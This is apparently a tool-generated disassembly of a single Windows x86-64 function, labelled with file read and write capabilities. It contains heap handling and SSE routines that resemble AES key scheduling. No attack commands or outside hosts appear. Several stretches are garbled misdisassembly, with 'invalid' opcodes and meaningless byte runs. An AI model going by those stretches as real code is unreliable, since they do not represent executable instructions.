Function at 0x140090520
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov rdi, r13
jmp 0x14001c6ab
cmp byte [r13 + 0xf], 0x23
jne case.0x14001c71c.2
mov qword [rsp + 0xa00], r13
mov rcx, rbx
call fcn.140079f00
cmp rdi, r12
je 0x14001c745
mov rax, qword [rsp + 0x68]
add rax, rdi
mov rcx, r12
sub rcx, rdi
cmp rcx, r14
mov rdx, r14
cmovb rdx, rcx
test r15b, r15b
dec dword [rax + 0xf]
ror dword [r8 - 0x77], 1
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x38
lea rdx, [rsp + 0xe0]
call fcn.1400822b0
pop rbx
invalid
add byte [rax - 0x7b], cl
invalid
je case.default.0x14001c71c
mov r13, rax
and eax, 3
movsxd rax, dword [rbp + rax*4]
add byte [rax + 1], cl
invalid
jmp rax
cmp byte [r13 + 0x10], 0x23
je 0x14001c69b
jmp case.0x14001c71c.2
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x14001c69b
jmp case.0x14001c71c.2
mov r8d, 0x20
lea rcx, [rsp + 0x68]
mov rdx, r12
call fcn.1400aae70
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
jmp 0x14001c6b4
mov r13, qword [rsp + 0xf0]
test r13, r13
je 0x14001c9a4
invalid
mov rax, qword [rsp + 0xf8]
mov rsi, rax
sub rsi, r13
jb 0x14001e49a
invalid
mov rdx, qword [rsp + 0xe8]
cmp rax, rdx
ja 0x14001e4ae
add r13, rdi
mov qword [rsp + 0x78], r13
cmp r12, qword [rsp + 0xa0]
jne 0x14001c68a
invalid
invalid
invalid
invalid
cmp r13, r12
mov rdi, qword [rsp + 0x38]
jne 0x14001c68a
movdqa xmmword [rsp + 0xa10], xmm6
movdqa xmmword [rsp + 0xa00], xmm6
add byte [rax], al
or al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x14001c78b
and al, 0
or al, byte [rax]
add byte [rax], al
jmp 0x14001c7f8
nop
cmp byte [r13 + 0xf], 0x23
jne 0x14001c8bd
jmp 0x14001c7f8
lea rcx, [rsp + 0x648]
call fcn.140079f00
invalid
invalid
mov r9d, 0x20
lea rcx, [rsp + 0x640]
mov rdx, rdi
mov r8, rbx
call fcn.140082480
cmp qword [rsp + 0x640], 0
cmp dword [rsp + 0x640], 0
je case.default.0x14001c838
mov r13, qword [rsp + 0x648]
mov eax, r13d
and eax, 3
loopne 0x14001c82d
lea rcx, [0x1400ef194]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r13 + 0x10], 0x23
je 0x14001c7eb
stosb byte [rdi], al
stosb byte [rdi], al
jmp 0x14001c8bd
mov rdi, qword [rsp + 0x648]
test rdi, rdi
dec dword [rdi]
invalid
invalid
add dword [rax], eax
invalid
cmp rdi, 0x21
jae 0x14001e484
lea rcx, [rsp + 0x68]
mov rdx, qword [rsp + 0xa0]
add byte [rax], al
mov r8, rdi
call fcn.1400aae70
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
insb byte [rdi], dx
and al, 0x78
mov rcx, qword [rsp + 0x68]
add rcx, r13
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add r13, rdi
std
std
mov qword [rsp + 0x78], r13
jmp 0x14001c68a
mov rdi, qword [rsp + 0x38]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14001c8e9
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001e473
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001e473
mov qword [rax], r13
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
test r12, r12
je 0x14001c938
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0xde0]
movaps xmm7, xmmword [rsp + 0xdf0]
movaps xmm8, xmmword [rsp + 0xe00]
movaps xmm9, xmmword [rsp + 0xe10]
movaps xmm10, xmmword [rsp + 0xe20]
movaps xmm11, xmmword [rsp + 0xe30]
movaps xmm12, xmmword [rsp + 0xe40]
movaps xmm13, xmmword [rsp + 0xe50]
movaps xmm14, xmmword [rsp + 0xe60]
movaps xmm15, xmmword [rsp + 0xe70]
add rsp, 0xe88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [section..data]
cmp al, 0xff
mov rbx, qword [rsp + 0xc0]
je 0x14001c9c0
cmp al, 1
je 0x14001ca0c
jmp 0x14001cffa
lea rcx, [rsp + 0x640]
call fcn.140040100
lea rcx, [rsp + 0xe0]
call fcn.140040130
mov esi, dword [rsp + 0x648]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x14001cff3
call fcn.14000d190
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov byte [section..data], sil
je 0x14001cffa
movdqu xmm6, xmmword [rbx]
movdqu xmm7, xmmword [rbx + 0x10]
movdqa xmmword [rsp + 0x5b0], xmm7
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5b0]
call fcn.140040160
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmmword [rsp + 0xa0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm6
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm6
movdqa xmmword [rsp + 0x5c0], xmm0
movdqa xmm6, xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5c0]
call fcn.140040170
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmmword [rsp + 0xc0], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm7
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm7
movdqa xmmword [rsp + 0x5d0], xmm0
movdqa xmm7, xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5d0]
call fcn.140040180
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm3, xmm6
movdqa xmmword [rsp + 0x5a0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm6, 0xc
pxor xmm6, xmm1
pxor xmm6, xmm2
pxor xmm6, xmm3
movdqa xmmword [rsp + 0x5e0], xmm6
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5e0]
call fcn.140040170
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm3, xmm7
movdqa xmmword [rsp + 0x590], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm3
movdqa xmmword [rsp + 0x5f0], xmm7
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5f0]
call fcn.140040190
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm6
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm6
movdqa xmmword [rsp + 0x600], xmm8
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x600]
call fcn.140040170
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm7
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm7
movdqa xmmword [rsp + 0x610], xmm9
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x610]
call fcn.1400401a0
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm8
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm8
movdqa xmmword [rsp + 0x620], xmm10
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x620]
call fcn.140040170
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm9
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm9
movdqa xmmword [rsp + 0x630], xmm11
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x630]
call fcn.1400401b0
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm10
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm10
movdqa xmmword [rsp + 0xd0], xmm12
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0xd0]
call fcn.140040170
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm11
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm11
movdqa xmmword [rsp + 0x80], xmm13
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x80]
call fcn.1400401c0
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm12
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm12
movdqa xmmword [rsp + 0x40], xmm14
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x40]
call fcn.140040170
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm13
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm13
movdqa xmmword [rsp + 0xe0], xmm15
lea rcx, [rsp + 0x4a0]
lea rdx, [rsp + 0xe0]
call fcn.1400401d0
pshufd xmm0, xmmword [rsp + 0x4a0], 0xff
movdqa xmm1, xmm14
pslldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm0, xmm14
pslldq xmm0, 4
movdqa xmm2, xmm14
pslldq xmm2, 0xc
pxor xmm2, xmm0
pxor xmm2, xmm1
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x4a0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x4b0], xmm0
movaps xmm0, xmmword [rsp + 0x5a0]
movaps xmmword [rsp + 0x4c0], xmm0
movdqa xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x4d0], xmm0
movdqa xmmword [rsp + 0x4e0], xmm6
movdqa xmmword [rsp + 0x4f0], xmm7
movdqa xmmword [rsp + 0x500], xmm8
movdqa xmmword [rsp + 0x510], xmm9
movdqa xmmword [rsp + 0x520], xmm10
movdqa xmmword [rsp + 0x530], xmm11
movdqa xmmword [rsp + 0x540], xmm12
movdqa xmmword [rsp + 0x550], xmm13
pxor xmm2, xmm14
movdqa xmmword [rsp + 0x560], xmm14
movdqa xmmword [rsp + 0x570], xmm15
movdqa xmmword [rsp + 0x580], xmm2
lea rcx, [rsp + 0x1d0]
lea rdi, [rsp + 0x4a0]
mov rdx, rdi
call fcn.140007fa0
lea rbx, [rsp + 0xe0]
mov r8d, 0xf0
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x640]
mov r8d, 0x1e0
mov rdx, rbx
jmp 0x14001d8e4
mov byte [section..data], 0
lea rdi, [rsp + 0xe0]
mov r8d, 0x3c0
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x20], rbx
mov rcx, rdi
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.14003e630
lea rcx, [rsp + 0x120]
add rbx, 0x10
mov qword [rsp + 0x20], rbx
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.14003e630
mov ebx, 8
mov esi, 0x80
mov r14d, 0xc0
pcmpeqd xmm6, xmm6
mov r15d, 0x80
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, rbx
call fcn.14003ea50
lea rcx, [rsp + rsi]
add rcx, 0xe0
call fcn.14003eb50
movdqu xmm0, xmmword [rsp + rsi + 0xe0]
movdqu xmm1, xmmword [rsp + rsi + 0x108]
pxor xmm0, xmm6
movdqu xmmword [rsp + rsi + 0xe0], xmm0
pxor xmm1, xmm6
movdqu xmmword [rsp + rsi + 0x108], xmm1
xor byte [rsp + r15 + 0xe3], 0xf0
add rbx, 8
mov rcx, rdi
mov rdx, rbx
mov r8d, 0x1c
call fcn.14003ee00
cmp r15, 0x3b0
je 0x14001d14e
mov rcx, rdi
mov rdx, rbx
call fcn.14003ea50
lea rcx, [rsp + r14]
add rcx, 0xe0
call fcn.14003eb50
movdqu xmm0, xmmword [rsp + rsi + 0x120]
movdqu xmm1, xmmword [rsp + rsi + 0x148]
pxor xmm0, xmm6
movdqu xmmword [rsp + rsi + 0x120], xmm0
pxor xmm1, xmm6
movdqu xmmword [rsp + rsi + 0x148], xmm1
add rbx, 8
mov rcx, rdi
mov rdx, rbx
mov r8d, 0xc
call fcn.14003ee00
add r15, 0x88
sub rsi, 0xffffffffffffff80
sub r14, 0xffffffffffffff80
jmp 0x14001d070
mov eax, 0xf0
movdqa xmm1, xmmword [0x1400b0650]
movdqa xmm0, xmmword [0x1400b0660]
movdqa xmm2, xmmword [0x1400b0670]
movdqa xmm3, xmmword [0x1400b0680]
nop word cs:[rax + rax]
movdqu xmm7, xmmword [rsp + rax + 0x30]
movdqu xmm6, xmmword [rsp + rax + 0x40]
movdqu xmm5, xmmword [rsp + rax + 0x50]
movdqu xmm4, xmmword [rsp + rax + 0x60]
movdqa xmm8, xmm7
psrlq xmm8, 8
pxor xmm8, xmm7
pand xmm8, xmm1
movdqa xmm9, xmm8
psllq xmm9, 8
por xmm9, xmm8
pxor xmm9, xmm7
movdqa xmm7, xmm9
psrlq xmm7, 4
pxor xmm7, xmm9
pand xmm7, xmm0
movdqa xmm8, xmm7
psllq xmm8, 4
por xmm8, xmm7
pxor xmm8, xmm9
movdqu xmmword [rsp + rax + 0x30], xmm8
movdqa xmm7, xmm6
psrlq xmm7, 8
pxor xmm7, xmm6
pand xmm7, xmm1
movdqa xmm8, xmm7
psllq xmm8, 8
por xmm8, xmm7
pxor xmm8, xmm6
movdqa xmm6, xmm8
psrlq xmm6, 4
pxor xmm6, xmm8
pand xmm6, xmm0
movdqa xmm7, xmm6
psllq xmm7, 4
por xmm7, xmm6
pxor xmm7, xmm8
movdqu xmmword [rsp + rax + 0x40], xmm7
movdqa xmm6, xmm5
psrlq xmm6, 8
pxor xmm6, xmm5
pand xmm6, xmm1
movdqa xmm7, xmm6
psllq xmm7, 8
por xmm7, xmm6
pxor xmm7, xmm5
movdqa xmm5, xmm7
psrlq xmm5, 4
pxor xmm5, xmm7
pand xmm5, xmm0
movdqa xmm6, xmm5
psllq xmm6, 4
por xmm6, xmm5
pxor xmm6, xmm7
movdqu xmmword [rsp + rax + 0x50], xmm6
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm1
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0x60], xmm5
movdqu xmm4, xmmword [rsp + rax + 0x70]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0x70], xmm6
movdqu xmm4, xmmword [rsp + rax + 0x80]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0x80], xmm6
movdqu xmm4, xmmword [rsp + rax + 0x90]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0x90], xmm6
movdqu xmm4, xmmword [rsp + rax + 0xa0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0xa0], xmm6
movdqu xmm4, xmmword [rsp + rax + 0xb0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xb0], xmm5
movdqu xmm4, xmmword [rsp + rax + 0xc0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xc0], xmm5
movdqu xmm4, xmmword [rsp + rax + 0xd0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xd0], xmm5
movdqu xmm4, xmmword [rsp + rax + 0xe0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xe0], xmm5
add rax, 0x100
cmp rax, 0x3f0
jne 0x14001d180
movdqu xmm2, xmmword [rsp + 0x420]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x420], xmm3
movdqu xmm2, xmmword [rsp + 0x430]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x430], xmm3
movdqu xmm2, xmmword [rsp + 0x440]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x440], xmm3
movdqu xmm2, xmmword [rsp + 0x450]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm1, xmm3
psllq xmm1, 8
por xmm1, xmm3
pxor xmm1, xmm2
movdqa xmm2, xmm1
psrlq xmm2, 4
pxor xmm2, xmm1
pand xmm2, xmm0
movdqa xmm0, xmm2
psllq xmm0, 4
por xmm0, xmm2
pxor xmm0, xmm1
movdqu xmmword [rsp + 0x450], xmm0
pcmpeqd xmm0, xmm0
movdqu xmm1, xmmword [rsp + 0x120]
movdqu xmm2, xmmword [rsp + 0x148]
movdqu xmm3, xmmword [rsp + 0x160]
movdqu xmm4, xmmword [rsp + 0x188]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x120], xmm1
pxor xmm2, xmm0
movdqu xmmword [rsp + 0x148], xmm2
pxor xmm3, xmm0
movdqu xmmword [rsp + 0x160], xmm3
pxor xmm4, xmm0
movdqu xmmword [rsp + 0x188], xmm4
movdqu xmm1, xmmword [rsp + 0x1a0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1a0], xmm1
movdqu xmm1, xmmword [rsp + 0x1c8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1c8], xmm1
movdqu xmm1, xmmword [rsp + 0x1e0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1e0], xmm1
movdqu xmm1, xmmword [rsp + 0x208]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x208], xmm1
movdqu xmm1, xmmword [rsp + 0x220]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x220], xmm1
movdqu xmm1, xmmword [rsp + 0x248]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x248], xmm1
movdqu xmm1, xmmword [rsp + 0x260]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x260], xmm1
movdqu xmm1, xmmword [rsp + 0x288]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x288], xmm1
movdqu xmm1, xmmword [rsp + 0x2a0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2a0], xmm1
movdqu xmm1, xmmword [rsp + 0x2c8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2c8], xmm1
movdqu xmm1, xmmword [rsp + 0x2e0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2e0], xmm1
movdqu xmm1, xmmword [rsp + 0x308]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x308], xmm1
movdqu xmm1, xmmword [rsp + 0x320]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x320], xmm1
movdqu xmm1, xmmword [rsp + 0x348]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x348], xmm1
movdqu xmm1, xmmword [rsp + 0x360]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x360], xmm1
movdqu xmm1, xmmword [rsp + 0x388]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x388], xmm1
movdqu xmm1, xmmword [rsp + 0x3a0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x3a0], xmm1
movdqu xmm1, xmmword [rsp + 0x3c8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x3c8], xmm1
movdqu xmm1, xmmword [rsp + 0x3e0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x3e0], xmm1
movdqu xmm1, xmmword [rsp + 0x408]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x408], xmm1
movdqu xmm1, xmmword [rsp + 0x420]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x420], xmm1
movdqu xmm1, xmmword [rsp + 0x448]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x448], xmm1
movdqu xmm1, xmmword [rsp + 0x460]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x460], xmm1
movdqu xmm1, xmmword [rsp + 0x488]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x488], xmm1
lea rcx, [rsp + 0x640]
lea rdx, [rsp + 0xe0]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x640]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movzx eax, byte [section..data]
cmp al, 1
jne 0x14001d930
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x40]
mov r8, rdx
call fcn.140015870
jmp 0x14001d986
movdqa xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x4a0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
movdqa xmmword [rsp + 0x4c0], xmm0
movdqa xmmword [rsp + 0x4d0], xmm0
lea rcx, [rsp + 0x640]
lea rdx, [rsp + 0xe0]
lea r8, [rsp + 0x4a0]
call fcn.14003f0c0
movdqu xmm0, xmmword [rsp + 0x640]
movdqa xmmword [rsp + 0x40], xmm0
movzx esi, byte [rsp + 0x40]
movzx r8d, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x42]
movzx edx, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
shl r8, 0x30
shl rax, 0x28
or rax, r8
movzx r8d, byte [rsp + 0x45]
shl rdx, 0x20
or rdx, rax
movzx eax, byte [rsp + 0x46]
shl rcx, 0x18
or rcx, rdx
movzx r9d, byte [rsp + 0x47]
shl r8, 0x10
or r8, rcx
movzx ecx, byte [rsp + 0x48]
shl rax, 8
or rax, r8
movzx edx, byte [rsp + 0x49]
or rax, r9
movzx r8d, byte [rsp + 0x4a]
shl rcx, 0x38
shl rdx, 0x30
shl r8, 0x28
or rdx, rcx
or rdx, r8
movzx r8d, byte [rsp + 0x4b]
shl r8, 0x20
or rdx, r8
movzx r8d, byte [rsp + 0x4c]
shl r8, 0x18
or rdx, r8
movzx r8d, byte [rsp + 0x4d]
shl r8, 0x10
or rdx, r8
movzx r8d, byte [rsp + 0x4f]
or rdx, r8
mov r8, rsi
shl r8, 0x38
or rax, r8
shld rax, rcx, 1
movzx edi, byte [rsp + 0x4e]
shr esi, 7
add rdx, rdx
shl rdi, 9
or rdi, rdx
movabs rcx, 0x8000000000000000
and rcx, r8
mov rdx, rsi
shl rdx, 0x3e
or rdx, rcx
or rdi, rsi
shl rsi, 0x39
or rsi, rdx
xor rsi, rax
movzx eax, byte [0x1400f9001]
cmp al, 0xff
jne 0x14001dac1
lea rcx, [rsp + 0x4a0]
call fcn.140040100
lea rcx, [rsp + 0x640]
call fcn.140040130
mov ebx, dword [rsp + 0x4a8]
mov eax, ebx
not eax
test eax, 0xc000000
jne 0x14001dab9
call fcn.14000d190
and eax, 2
shr eax, 1
shr bl, 1
and bl, al
jmp 0x14001dabb
xor ebx, ebx
mov byte [0x1400f9001], bl
mov qword [rsp + 0xdc0], rdi
mov qword [rsp + 0xdc8], rsi
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xdd0], xmm6
lea rbx, [rsp + 0xa00]
lea rdx, [rsp + 0xe0]
mov r8d, 0x3c0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
mov r12, r14
add r12, 0x10
je 0x14001e037
js 0x14001e4ce
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14001db45
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001e4bf
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001e4bf
mov rdi, rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], 0
cmp r14, 0xfffffffffffffff0
jae 0x14001e04c
xor esi, esi
lea rcx, [rdi + rsi]
mov rdx, r15
